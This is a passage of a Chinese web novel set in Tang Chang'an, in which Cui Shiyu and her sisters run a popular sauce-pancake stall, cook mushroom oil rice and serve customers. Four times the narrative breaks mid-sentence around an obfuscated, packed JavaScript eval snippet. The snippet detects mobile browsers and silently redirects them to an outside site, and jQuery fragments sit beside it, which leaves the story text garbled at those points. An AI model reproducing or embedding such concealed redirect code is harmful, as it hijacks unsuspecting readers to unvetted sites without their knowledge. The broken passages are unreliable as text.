面对这些热闹场面，武长青早已视若无睹见怪不怪，只按着仪刀继续沿街道巡逻，偶尔向摊贩和行人询问情况，查看是否有可疑人物或物品。 忽然，一道清亮的吆喝声破开嘈杂，脆生生地撞进他的耳朵。 “酱香热饼，新出炉的酱香热饼——‘梅香映雪’、‘翠玉生香’、‘金乌抱月’、‘金玉满堂’，四种口味，任君选择！” 这句话音刚落，便有一道稚嫩的童声跟上：“酱香热饼，酱香热饼，可好吃了！” 两道声音各有不同，一清脆一甜润，一听便知是两个伶俐的小娘子。 武长青不由驻足回首，那喊话声果然分别来自两个小娘子，大的那个眉眼间很是英气，吆喝起来很有几分不同；小的那个扎着双螺髻，靠着树干，手里举着块干荷叶包着的面饼，边吃边说：“阿姊手艺，长安独一份！走过路过莫要错过哦！” 大的那个在旁边接着喊：“‘梅香映雪’素饼三文，‘翠玉生香’加菜四文，‘金乌抱月’加蛋六文、‘金玉满堂’菜蛋都加是七文！” 梅香映雪，金乌抱月？ 这都是什么？名儿还怪好听的。 武长青本不想过多停留，却被这饼子的独特名字勾得十分好奇，跟在他身后的李二和钱四也不由自主停住脚步。 三人对视一眼，彼此都没有言语，但都不约而同走向那柳树下的卖饼小摊儿。 挤过里外几层人群，三人发现那小摊的陈设比他们想象中还要简单整洁：推车、连着炭炉的饼铛，旁边放着几个陶罐，一罐红油，一罐赤酱，还有切碎的鲜灵葱花、腌菜——是萝卜丁，切得大小正好，亮汪汪地泛着勾人食欲的橙红油光，直甩出他们公厨好几条街；食盒里装着新鲜白苣和煎好的荷包蛋。 摊位上方挂着一块木牌，上面写着“崔记酱香饼”几个大字，字迹飘逸，引人注目。 崔记？ 武长青目光越过人群，落在摊位后的女郎身上。 对方青布束发，素色襦裙外罩着麻布围裳，袖口挽至肘间，露出一截莹白有力的小臂。 她垂眸不语，手上动作忙个不停。 面饼在饼铛上摊开，遇热渐成金黄；小竹刷蘸上红亮酱料，在饼皮上均匀刷开，每一寸面褶都渗进浓香；筷子夹起食盒里的荷包蛋，略煎复温，往酱饼正中一扣，撒上腌萝卜丁和翠绿葱花，再挟起一片翠绿白苣对折一夹—— 一块菜蛋都加的“金玉满堂”酱香煎饼便做得了。 崔时钰动作利落地将做好的酱香饼用干荷叶包好，递给对面，“客官拿好，小心烫口。” “多谢小娘子！”那人喜滋滋接过，迫不及待咬下一大口。 面饼煎得外酥里软，面香十足，裹挟着葱花与胡麻，还有脆爽的萝卜丁和白苣叶子，并着煎得外焦里软的荷包蛋……最绝的要属那酱，不知是怎么熬出来的，又浓又香，他在别的地方都没吃过，别提有多好吃了！ 这可比其他小食摊上卖的那些饼子好吃多了！ 这美妙的滋味自然也钻入了其他人的鼻腔，后头排队的人都忍不住抽了抽鼻子。 一个老汉咽着口水：“小娘子，我要那个‘金乌抱月’！” 孩童扯着母亲衣袖哭闹：“阿娘，我要吃那个饼！” 有个胡人也来凑热闹，操着生硬的唐话道：“翠、翠玉生香！多酱！” “……” 武侯铺三人又对视一眼，钱四觑着武长青的目光率先开口：“那个，铺正，我瞧着最近这些天坊里都挺太平的，咱们先别着急巡逻了，先尝尝这饼——吃饱了才有力气干活啊！朝食吃的那些不禁饱，我都消化完了。” 钱四说完心里头也有些没底：他们这位武铺正最是刚正不阿，断不会因为区区一块饼子让步，今日吃到这酱香煎饼怕是没戏了…… 他正惋惜着，便听武长青启唇道：“行，那咱们便等上一会儿。” “……”钱四不可置信地和李二对视一眼，对方也是同样的瞠目结舌。 两个人想：今天的太阳是打西边出来了？ 又想：能不能天天都从西边出来？ 三人开始排队。武长青排在最前面。 因三人常年在东西二市巡逻，又身着武服，有眼尖的人认出他们身份，为了讨个好儿，主动让出自己排了许久的位置。 钱四听了这话心中一喜，正要开口应下，便听他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626281|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚正不阿的铺正大人拒绝道：“多谢，但不必了。” ……太阳从西边落下去了。 钱四叹了口气，继续和李二老实排队。 好在许是摊主女郎动作麻利，等待的时间比他们想象中更快，武长青看见排在前面的人一个个美滋滋地拿饼离开，很快就排到了他自己。 卖饼女郎抬头，额角沁着细汗，颊边沾了半点面粉，笑问：“这位郎君，酱要辣的还是不辣的？” 她声音比妹妹们都要低些，却像刚出锅的饼，暖烘烘地熨进耳中。 武长青望着她怔愣几秒，而后才回过神来，回答：“不辣的吧，要‘金玉满堂’。”方才他特意听了几耳朵，这“金玉满堂”是菜蛋都加的。 那女郎应声答道：“好嘞。” 她动作麻利地又做了张饼，刷酱、裹料，面饼对折时透出里头蛋菜层叠的诱人剖面。 接着又扯过一张还带着湖泽清气的青褐荷叶，将饼一裹一缠卷好。 崔时钰将包好的酱香饼递给武长青，微笑说道：“郎君拿好，小心烫——吃了这饼，金玉满堂，福运满门。” 这句吉祥话让武长青感到格外心暖，不禁感叹这女郎真会做生意，接过饼子道：“多谢，小娘子也是。” 正要将七文钱递给对方，却有另一双小手伸了过来。武长青侧头一看，原来是那位卖饼女郎的二妹。 那小娘子客气说道：“客官将钱给我便是，阿姊说自己做饼，沾了银钱恐会脏了饼子。” 武长青点头说好，付钱的时候侧头一看，那卖饼娘子的小妹还在卖力吆喝着呢。 他懂了，原来姊妹三人各有分工啊。 武长青微微一笑，拿着饼子离开了依然人满为患的队伍。 他垂眸看向自己手中的热饼，只见绿意里隐约透出酱色，活像个藏着珍宝的荷包，解开时尤其有种寻宝之感。 饼皮金黄酥脆，微微鼓起，表面泛着诱人的光泽，酱汁渗进褶皱里形成深色纹路，翠绿的白苣与金黄的荷包蛋相互映衬，再配上酱料的酱褐色泽，整个酱香饼色彩搭配相得益彰，令人垂涎欲滴。 闻一闻，先涌上来的是酱料的醇厚酱香，接着是裹着油脂的蛋香，最后一丝白苣和荷叶的清气犹如点睛之笔，勾得人舌底生津。 武长青吞了吞口水，低头咬下一大口。 牙齿破开饼皮咬到里头柔韧的饼芯，微脆的荷包蛋混着酱汁在舌尖滚过，咸鲜里迸出微甜，脆嫩的白苣忽然介入，满是鲜灵的菜香。 真是好吃极了。 饶是清早已吃得半饱，武长青还是忍不住一口接一口，很快便把一张加蛋加菜的酱饼吃进肚子。 吃完手中的酱香饼，武长青意犹未尽，仍在回味着那独特的滋味。 酱料的浓郁、面饼的酥韧、荷叶的清香……还有那动作利落的小娘子。 他决定再买一个刷辣酱的饼。 然而一回头，却见那卖饼女郎正在和妹妹们捆扎包袱，已然一副收摊的架势。 这么快就把饼子卖完了？ 崔时钰边收拾东西，边在众人的惋惜声中道：“各位客官，感谢大伙厚爱，饼子已卖完，咱们明日不见不散！”说完便推着推车，带着两个妹妹离开了。 远处传来妹妹银铃般的笑语：“阿姊，明日咱们要再多备些饼呢！” 武长青捧着尚有余温的荷叶，脑中还浮现崔时钰做饼子的模样，摊饼、刷酱、裹料，一举一动皆是娴熟利落。 “罢了，明日再来吧。” 他过转身，和对那酱香饼赞不绝口的李二和钱四一起融入西市的人群中，继续巡逻。 武长青头一次对转天的到来产生了期待。 明天早晨，他一定要吃刷辣酱的。 17. 香菇油饭 姐妹三人一人推着推车，一人捧着食盒，一人抱着扑满，有说有笑地回家去。 “扑满”是唐人们日常使用的存钱罐，以陶瓷制作而成，顶部有一个用于投入钱币的狭长开口，没有出口，装满钱币后需将其打破才能取出内里银钱，有“满则扑之”的意思，因此得名“扑满”。 崔家这个扑满是个仿桃形的，形状圆润，让同样圆润的阿宁抱着最是合适。 小姑娘抱着存钱罐晃来晃去，和阿锦凑在一块儿听里面铜钱碰撞叮叮当当的清脆声响，玩得不亦乐乎。 看妹妹们高兴的样子，崔时钰也跟着笑。 第一天出摊的情况比她想象中还要好。 因不知道出摊情况如何，崔时钰只当作是摸底，只提前做好了五十张饼子，另配了四十片生菜和二十枚荷包蛋。 她自觉这么多存货应该够卖两个时辰，没想到将一张做好的酱香饼切成小块分给人们试吃之后，竟然不到半个时辰便销售一空。 崔时钰当时还有几分意犹未尽，她还想再多摸会儿铲子呢！ 虽说铜钱都已装进扑满，但对于今日赚了多少钱，崔时钰心中大抵有数：除去面粉、生菜、鸡蛋、酱料——谁能想到那两罐酱是这堆食材里最贵的，不算手工费，今日出摊约莫赚了二百六十多文。 二百六十文啊！几乎是崔家姐妹三个一个月的生活费了。 照此以往，赚出铺子的装修费指日可待。 想着自己未来的小食肆，崔时钰心里都快乐开花了。 姜饼小车叮叮咣咣的声音欢快地灌入长乐坊南巷，王五娘一听便从院门探出头来，手上还沾着豆渣，喜庆道：“阿钰回来啦？早市还没结束就把饼子卖完了，看来生意很是不错嘛！” 崔时钰保持谦虚，笑着说：“婶娘过奖了，是东西准备得少罢了。” 话音刚落，她就看到王五娘身后的娇娇像只小猫似的冒了出来，大大的眼睛望着她，嫩生嫩气道：“崔娘子好。” 自打吃了这位崔家娘子亲手做的小笼蒸包和糖醋里脊，崔时钰在娇娇心中的地位便直线上升。 有做菜这么好吃还温柔漂亮的阿姊，她好羡慕阿宁啊！ 崔时钰还不知道自己又多了个小迷妹，瞧着因挑食不爱吃饭，比同龄孩子更瘦弱些的娇娇——特别是同最近吃胖了的阿宁站在一起，更是对比鲜明。 她微微弯腰对小女孩温和一笑：“娇娇也好。”然后直起身子对王五娘道，“若是得了空，婶娘定要带娇娇来我这儿来，我请您和娇娇吃饼子。” 崔时宁也马上跟着开口：“娇娇吃完饼再来和我玩斗草吧，咱们那天玩的可有意思啦。” 娇娇毫不犹豫地点头：“嗯！” 她还没吃过崔时钰做的酱饼，但有之前吃肉馒头和炸肉条的经验，她相信这饼子也一定很是美味。 吃完好吃的饼子，再去找阿宁玩斗草……她也太幸福了吧！ 两家人其乐融融笑成一片。 瞥见这温馨一幕，张六娘冷哼一声，扭着屁股回了自家胭脂铺子。 不就是卖饼子的生意好吗，有什么好炫耀的……怎么也不说请她吃饼呢？ 真是岂有此理！ 张六娘这一声冷哼自然也传入了崔时钰的耳朵。 她活了两辈子，多少能够猜到这位邻居的心中想法，无非是对她眼红心热，再加上没占到便宜，很有些不忿罢了。 崔时钰并不打算改变。 崔娘子过得不如意时，对方从来冷言冷语，没施以过任何援手，凭什么她的日子好起来了，倒要去为这种人提供好处呢？ 天底下没这种好事。 崔时钰不动声色往那生意冷清的胭脂铺子瞧了一眼，收回目光，大方地和王五娘打过招呼便回家了。 到家后，她先是将推车和饼铛仔仔细细用抹布擦了一遍，把上面的菜渣、酱渍、油迹擦干净，又清了炭炉里的炭灰，添上新炭。 “工位”整洁清爽，她自己工作起来舒心，食客们看见干净卫生的环境也能买得放心。 做完这些，崔时钰又分别去几个铺子买了面粉鸡蛋和生菜，还有她和妹妹们所需的日常用品。 加上前几日在冶铺订做的手推车三件套，这些天来的大小花销不知不觉已花掉嫁妆的一半，花得她很是心疼。 但这也是没办法的事，往好处想，投资嘛，总会赚回来的。 有了第一日的卖饼经验，这次崔时钰足足采购出一百张饼子的量，紧赶慢赶，总算赶在午饭前把面粉全部过筛完毕，可以休息了。 为庆祝饼摊首日开张大吉，午饭就吃个香菇油饭吧，正好刚买了香菇！ 做好的香菇油饭，吸饱了荤油的香菇肥厚软糯，咬下去能迸出带着菌鲜的汁水，混着猪油的荤香在舌尖绽开，再配上一口浸透了油脂的米饭…… 崔时钰成功被自己脑补出来的画面弄饿了，马上抓一大把干香菇用一只小碗泡上，又焖上一锅稻米饭——没错，是稻米！ 家里的糙米一经吃完，崔时钰就连夜去米粮铺子买了稻米。这种米去除了谷壳、米糠和胚芽，只剩胚乳部分，色泽洁白，味道和后世的大米有七八成相似。 稻米的价格自然更贵些，但崔时钰觉得这钱花得值。糙米饭吃起来太剌嗓子了，感觉时间长了嗓子眼里都会起茧子。 崔时钰把焖好的白米饭盛出来放在一旁备用，这时候香菇也泡发得差不多了。 她特意选择了干香菇而非鲜香菇。和鲜香菇相比，前者味道更为浓郁香醇，做出来的香菇油饭味道更好。 吸饱水分的香菇舒展开来，伞面呈现出层次分明的褐色，中心处是浓稠的酱色，向外渐次晕染成焦糖色，好看极了。 崔时钰将泡发的香菇捞出，泡香菇的水不倒，盛碗里放一旁备用，另取菜刀将香菇切成厚薄均匀的薄片。 锅里的猪油比平时多挖了两小勺，待青烟将起未起，放入提前切好的蒜瓣葱段，崔时钰端起瓷盘，将切好的香菇片滑入锅中。 入锅刹那，香菇的鲜香陡然活了起来，浓郁的菌香与猪油的香气在庖厨内交织弥漫。 经过不停翻炒，香菇片和边缘被煎得微微卷起，渐渐吸饱油光，变得金黄透亮。 崔时钰深嗅了一口香气，不由满意点头，将一旁恭候多时的米饭倒进去，淋入适量酱油，翻炒均匀，再倒方才用来泡发香菇的香菇水，盖锅盖焖煮。 等到再次掀开锅盖的时候，米粒已经染透浓郁的酱色——那是酱油与香菇自身共同调和后的颜色。 估摸着差不多成了，崔时钰最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626282|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往锅里撒了一把切好的小葱花收尾。 舀起一勺，粒粒分明的油饭泛着油光，其间点缀着深褐色的香菇片，碧绿葱花的加入，为油饭增添了一抹清新的亮色。 热气蒸腾而上，酱香、菌香与米香撞了个满怀，混合着油脂的浓郁香气，让人闻着便忍不住直吞口水。 阿锦和阿宁早已在食案旁恭候多时。 忙活一个上午，她们也饿坏了，特别是阿宁，饭还没端上桌便连声喊道：“好香啊，阿姊今日又做了好吃的！” 崔时钰递给两个妹妹的饭都盛到了冒尖，阿宁接过碗，先深深吸了一口气，用勺子舀起一口送入口中，顿时满足地眯起一双葡萄眼。 蕈子好香……米饭软软糯糯又有嚼劲……好好吃啊！ 阿锦也在细细品尝。 米饭入口的瞬间，先尝到的是极好的口感，粒粒分明却又柔软弹牙，这是从前的糙米饭吃不到的。 蕈子炒得也好，柔软中带着一丝韧性，随着咀嚼释放出源源不断的鲜味，既有山林的清新，又因炒制带上了微微焦香。 两者通过猪油完美融合在一起，蕈子软嫩鲜香，米饭油润入味。 “阿姊，真好吃，真香啊。” 阿锦和阿宁边吃边夸，嘴巴里塞满了香菇饭，吃得腮帮子都像小松鼠一样鼓了起来。 两只小松鼠用完午食都有些晕碳，洗完碗便挨在一起去榻上睡午觉了。 崔时钰本来不想睡，但可能困意会传染，她盯着妹妹们憨态可掬的睡相看了一会儿，不由自主打了几个哈欠，也歪到榻上去了。 一个香甜的午觉醒来，崔时钰和妹妹们简单用完暮食后便进了庖厨。 她要为明日的出摊做准备了。 因是做朝食生意，早上这段时间是不折不扣的高峰时段，现场做饼肯定来不及，是以崔时钰卖出去的饼子都是提前做好的——她早起将饼子做好，放进食盒保温，再带去摊上煎一煎复热。荷包蛋也是相同的处理方式。 本朝的保温食盒和后世的保温饭盒相仿，都是利用夹层保温原理，内部和外部之间有一个夹层，里面填充隔热材料阻隔热量散发，如棉花、草絮、芦苇等等。 此外还有注水保温、炭火保温等保温方式，即在夹层中注入热水与火炭，利用这些东西的热量来保持食物的温度。 但崔时钰觉得这样有些麻烦，注热水要经常更换热水，而放火炭就要小心烫伤，价格也贵，是以取用折中方法，将食盒的保温夹层中放入热灰，利用热灰的余温来保持饼子和荷包蛋的温度。 这种方法简单且成本低，适合她这种小商小贩使用。 保温食盒能在极大程度上保持饼子和荷包蛋的温度，带去早市后将提前制作好的饼皮放在饼铛上加热，使其恢复酥脆的口感，再根据客人需求刷酱加菜加蛋，现场组装。 崔时钰尝过了，这样不仅能提高效率，而且做出来的酱香饼味道也和刚出锅时一模一样。 她把用油酥和好的面团分成一个个剂子，摊成饼方便明日清晨煎制，放进地窖低温保存，又洗了生菜和鸡蛋，以及准备好用来包装的干荷叶。 做完一系列准备工作，崔时钰痛并快乐着地活动了一下酸痛的肩膀，抬头瞧见夜空中密布的晚星，打着哈欠进屋洗漱睡觉了。 18. 全城风靡 晨光熹微，长安城七十二坊的轮廓在淡青色的天幕下渐渐清晰。 长乐坊南，崔家小院的庖厨里正透出隐隐昏黄光线。 崔时钰将最后一张饼子从饼铛取下，热气裹挟着芝麻与酥油的香气扑了满面，让她不由自主深吸了一口气。 好香。 今日的饼子应该也能卖得不错。 她将饼子整齐地码进添了热灰的保温食盒，又盖上干净麻布。 “阿姊，我和阿宁都梳洗好了。”阿锦穿着洗得发白的青色襦裙，拉着扎着两个小髻的阿宁，精神抖擞地站在门口。 和二姐相比，崔时宁显然没那么精神焕发，拉着姐姐的胳膊，小脑袋一点一点地打着瞌睡。 崔时钰瞧着有些不忍，她本没打算带着阿宁去摆摊，但小姑娘不乐意，说什么“阿姊和二姊都去了那我也要去，我不要一个人在家”，为此还差点哭了鼻子，委屈极了。 崔时钰拗不过妹妹，再加上也有点不放心把小小的阿宁一个人留在家，于是便把两个妹妹都带上了。 没想到竟有意外之喜。 阿锦自是不必说了，小姑娘懂事稳重，吆喝叫卖、接钱找钱，每样都完成得极好，阿宁就有些让崔时钰出乎意料了。 原本还坐在崔时钰给她带来的小胡凳上困得睡眼惺忪，接过姐姐递来的酱香饼——也就是她今日的早饭，马上精神抖擞，大口大口啃起饼子，吃得极香。变脸速度之快，让周围几个喜爱小孩的阿翁阿婆直笑弯了眼。 别看小姑娘牙都还没长齐，吃得速度倒快，而且吃相也好，嘴角不会沾上酱汁，更不会吧唧嘴，小嘴一张一合吃得津津有味，每咬一口都会发出满足的“嗯嗯”声，仿佛在告诉周围的人这酱饼有多好吃多美味。 往那儿一坐，活像酱饼摊的吉祥物，让崔时钰本就热闹的生意更好了几分。 想着昨日阿宁啃饼的画面，崔时钰不由一笑，将装着饼子与荷包蛋的保温食盒放进推车，又检查了一遍酱罐和扑满，温声对两个妹妹说：“走，阿锦阿宁，咱们赚钱去。” 姐妹三人推着吱呀作响的小推车穿过坊间小巷。 五更鼓刚刚敲过，街上已有零星行人，崔时钰习惯性地在心里盘算着今日的生意——昨日准备了五十个饼，半个时辰就卖出去了，如此算来，今日的一百张大概只需一个时辰。 转过最后一个街角，西市的轮廓映入眼帘，崔时钰的脚步突然一顿。 “阿姊，怎么了？”崔时锦从车后探出头来，顺着姐姐的目光望去，随即也瞪大了眼睛。 她们昨日摆摊的那棵柳树旁边，竟排着一条长队！ 摆摊地址是崔时钰特意选的，旁人都瞧不上那棵还没抽条的柳树，崔时钰却觉得很好，一眼相上：柳树柳树，有“留”之意，是个好兆头。 现在看来，倒是一语成谶了。 那队伍少说也有二三十人，有穿着粗布短打的脚夫，也有锦缎长袍的商人，甚至还有几个看似大户人家的小厮。队伍已经拐到对面铺子门前，引得路人频频侧目。 队伍最前头一个熟悉的身影转过头来，是高记肉行的店主，高老汉。 不知道对方什么时候开始排的队，又等了多久，见崔时钰来了也不催，只笑着道：“崔娘子来了！昨日我店里的伙计阿福买了你的饼子，回来之后和我大肆夸赞一番，说得很是馋人……今日我定然也要买回去尝尝！” 照阿福当时所说，虽然长安街上卖饼的食摊不少，味道也尚可，但没有一家的吃食如崔娘子做的饼子这般好吃新颖，口感暄软不说，还有菜有蛋，里面添的酱也好吃极了。 “我第一次吃到这么好吃的酱……酱香热饼，怪不得把‘酱’排到第一个字呢！”阿福如是说道。 “老丈久等了。”崔时钰朝高老汉笑了笑，先和他寒暄几句，接着又探头对后面排队的人道，“诸位稍候，马上就好。” 她手脚麻利地支起摊子，摆好案板，把各种瓶瓶罐罐摆在一旁方便取用；阿锦和她打配合，蹲下*身熟练地引燃炭火，把扑满抱在怀里准备收钱；而坐在胡凳上的阿宁也开始直播起今日的吃播。 一切准备就绪，姐妹三人有条不紊忙活着自己要做的事。 高老汉共点了两套饼子，都是菜蛋都加的，即崔时钰推出的“金玉满堂”。 本朝文化繁荣，人们大都追求风雅，不仅注重食物的味道，还注重食物的名称，比如茶艺除了被称作“斗茶”，还称为“茗战”，极风雅。 除此之外，唐朝人还相信食物的名称能够带来好运和福气，是以给饼子起个好听的名字能让顾客更愿意购买。 崔时钰当初给酱饼起名着实花费了些心思：“梅香映雪”——只刷酱的素饼就像雪地上开了一片梅花；“翠玉生香”——鲜嫩的生菜宛如一块翠玉；“金乌抱月”——金灿灿的荷包蛋就像一轮太阳；“金玉满堂”——全家福嘛，没什么好说的，当然是“满堂”了。 目前看来，此招十分有效，现在来买饼的客人都不说“加菜”“加蛋”“素饼”了，直接喊诨名。 比如高老汉后面这位，在队伍里排第二的客人，菜蔬铺店主蔡三郎。 “烦、烦劳小娘子，一套‘翠玉生香’，加……加两片白苣，不要辣。”蔡三郎磕磕巴巴道。 崔时钰表情不变，微笑道：“郎君稍等。” 她的生菜以及用来包装的干荷叶都是从这位蔡三郎的铺子里购入的，是以也算和对方打过交道，有些交情了，若非如此，崔时钰还真怀疑蔡三郎会不会把那句“加两片生菜”的要求说出口。 许是因为口吃，蔡三郎是个极老实内敛的人，很是社恐，崔时钰第一次去蔡氏菜铺时，他全程没有开口说一句话，全靠铺子里的伙计招呼着。 崔时钰当时正在考察附近的菜蔬铺子，只简单买了些萝卜试水，数量不多，还以为蔡三郎嫌弃自己买的少，没想到结账时对方直接将她的零头抹了，还附赠了一小把芫荽。 崔时钰当即就把蔡氏菜铺添入了合作名单。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626283|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 话说回来，蔡三郎是真爱吃菜啊！她还是第一次遇到有人点了双份生菜。 或许这也是他开了间菜蔬铺的原因？ “我就是为成为菜蔬铺店主而生的。” 没由来地，崔时钰脑子里突然冒出这句台词，然后就被自己逗笑了。 她勉强压下翘起的嘴角，从保温食盒里取出一张饼。 热灰添得足，饼子还热着，冒着薄薄的白汽，表皮微微鼓胀，翘起酥脆的薄壳，隐隐能闻到小麦被炙烤后泛甜的焦香，和油酥的醇厚荤香。 其实这时候的饼子直接拿来卖也不是不行，但崔时钰不愿意，非得刷油放进饼铛复热一次。 外婆的话仿佛还响在耳边：“火候差一分，味道便差十分。” 她一直都记得。 饼铛下的炭火正旺，饼皮很快重新泛起金黄，芝麻的香气混合着麦香弥漫开来。 因着饼子已经提前做好，复热时间不必太久，几次眨眼的功夫崔时钰就热好了一张饼子，刷酱的时候忍不住想：还好提前有所准备。哪怕手法再娴熟，取面团现场擀制新饼也要耗费不少时间。 现在的速度就快多了，一盏茶的功夫能做好几张饼，不然面对这样一条乌泱的长队，还真有些考验人的心态。 那蔡三郎钦点的不辣咸酱也是那日崔时钰熬辣酱时一同做的，除了没放食茱萸之外和辣酱做法一模一样，同样的酱香浓郁，咸鲜适口。 “蔡郎君拿好，小心烫。”崔时钰很快做好了蔡三郎要求的双份生菜酱香饼，裹了干荷叶递给对方。 在唐朝，荷叶是常见的天然包装材料，既能保持食物温度，又能增添自然的香气，不仅用于包装食物，还用于包装药材、酒水等。 夏季荷叶繁茂，人们会大量收集并晒干，以便在需要时使用。此时天气尚未回暖，新鲜荷叶还未上市，崔时钰采购的都是干荷叶。 经过晒干处理的干荷叶水分含量低，不易腐烂，便于长期保存，还自带荷叶清香，用它包装的酱香饼吃起来别有一番风味。 看到心心念念的酱香热饼用自家铺子里卖出去的荷叶包着，蔡三郎感到喜悦的同时还有几分与有荣焉的欣慰。 “多、多谢小娘子！” “不客气。”崔时钰笑道。 蔡三郎喜滋滋地捧着饼离开了。 在他身后，今日第三位客人是个书童模样的半大少年，圆头圆脑的，模样很是机灵喜兴。 对方穿一件用浅青细麻裁成的缺骻袍，头戴乌色幞头，腰间束一条素色革带，上面挂着一个小巧的竹编书袋，里面装着笔墨纸砚等文房用具，想来是跟随自家郎君外出学习之物。 “娘子好。”圆脸书童先向崔时钰行了个叉手礼，然后才礼貌道，“我家二郎近日食欲不振，听闻娘子卖的的酱香热饼味道极佳，我便想着买个回去给二郎尝尝，只是有些要求，不知娘子是否介意？” “哦？”崔时钰好奇问道：“那请小郎君说说看，有什么特别的要求呢？” 19. 但愿她好 得了她的准许，那小书童果然掰着手指一一点数起来：“一要外酥里软，饼皮酥脆，最好边上带些焦黄，咬下去能听见咔嚓声；内里则要柔软筋道，富有嚼劲，千万不能夹生。” 而后像是想到了什么似的：“上回东市买的饼放久了，软塌塌像抹布，二郎咬了一口就搁下了……” 他清清嗓子，继续道：“二忌葱蒜过重，酱料里莫要撒生葱，二郎不喜生葱味道，但若是能加些炒熟的胡麻倒是极好的，二郎最爱那个香气；” “三要厚薄适中，不能太厚，否则吃着狼狈，沾了衣衫；也不能太薄，否则酱汁一浸就破。” 末了又添一句：“酱料千万莫要太咸！昨儿庖厨做的鲈鱼羹咸了，二郎喝了半盏茶才压下呢！” 小书童约莫十三四岁，说起话来却已头头是道，提出来的三条要求俱是为自家郎君考虑。 这些要求虽然乍听有些繁琐，但在崔时钰看来，饼子外酥里软、厚薄适中，酱料咸鲜适口——这不都是对于一张好饼的基本要求吗？而且就像不吃辣一样，那条“不要生葱”也只能算作个人口味问题。 方才听这小书童煞有介事给她打预防针，崔时钰还以为对方会提出多琐碎繁杂的要求，没想到只是这些“举手之劳”。 很容易满足。 她莞尔一笑道：“小郎君且放心，儿做的饼本就饼皮酥脆、饼芯暄软，那香酱和辣酱也是有口皆碑，咸淡正好；要胡麻不要生葱对吧，我记住了。” “那便有劳小娘子了。”小书童轻轻呼出一口气，见崔时钰脸上并未出现不耐的神色，这才继续说，“其实这些要求并非我家二郎亲口提出，而是我担心郎君吃不好，自作主张的。” “原来如此。”崔时钰了然道，“有你这样的书童是你家郎君的福气。” “哎呀！小娘子这话说的。”小书童不好意思地摸了摸脑壳，“能伺候郎君才是我的福气。” 崔时钰和他闲聊着，手上动作也没停，把一张圆如满月的饼子从保温食盒里取出来，熟练地复热、刷酱、撒芝麻，每一步都认真细致。 一眨眼的工夫，一张裹着生菜与荷包蛋的酱香饼便做得了。崔时钰将饼子用干荷叶包好，递给小书童。 那小书童接过荷叶包，仔细看了看，脸上露出高兴的神情：“多谢小娘子，我家郎君一定会喜欢的……对了小娘子，我今日也还没用朝食，给我也来个饼子吧，要‘金玉满堂’，刷辣酱的！” 崔时钰自是没有不答应的，快手又做了一套递给他，“小郎君拿好。” 小书童捧着两个荷叶包笑得牙不见眼。 方才他排队时都看到了，这位崔娘子只做饼，收钱的活计由她的二妹负责，于是便把十四文钱递给了那位被唤作阿锦的小娘子。 “小娘子辛苦了。” 崔时锦看着面前和自己年纪相仿的少年，眨眨眼，学着阿姊的样子微笑着说：“多谢小郎君，小郎君慢走。” 小书童又行了个叉手礼，转身离开了。 崔时钰继续投入到紧锣密鼓制饼工作中，两套“梅香映雪”的素饼做完，用帕子擦额汗的时候抬头看了一眼，只见方才离开的小书童已捧着自己那套酱香饼，边走边大口吃了起来。 她有些惊讶：在崔娘子的记忆里，富贵人家的奴仆都是等主子用完膳才能进食，规矩极严，这样毫无顾忌地边走边吃几乎不被允许。 崔时钰心中暗叹，这户人家对奴仆真好啊，难怪那小书童处处为自家郎君着想。 感叹完毕，她低下头，继续做下一张饼子了。 青松三口两口吃完自己那套饼子，将剩下那套揣进怀里，小跑着来到远处的一辆马车前。 “二郎，饼子买好了，您快趁热吃吧，莫要等它凉了。” 一只骨节分明的手挑起车帘，露出其后谢家二郎的俊美脸庞。 休沐结束，今日是去广文馆就学之日，谢宵穿着月白色圆领袍，头戴黑纱幞头，脚踏乌皮靴，一派世家学子的打扮。 他接过书童递来的热乎乎的饼子，含着笑说：“辛苦你了，青松。” “二郎又在折煞奴了！”青松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626284|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘿嘿笑了两声，还在回味方才酱香热饼的滋味，咽了咽口水说，“这饼子的味道着实不一般，二郎快尝尝。” 谢宵垂眸，伸手将荷叶包轻轻拆开。 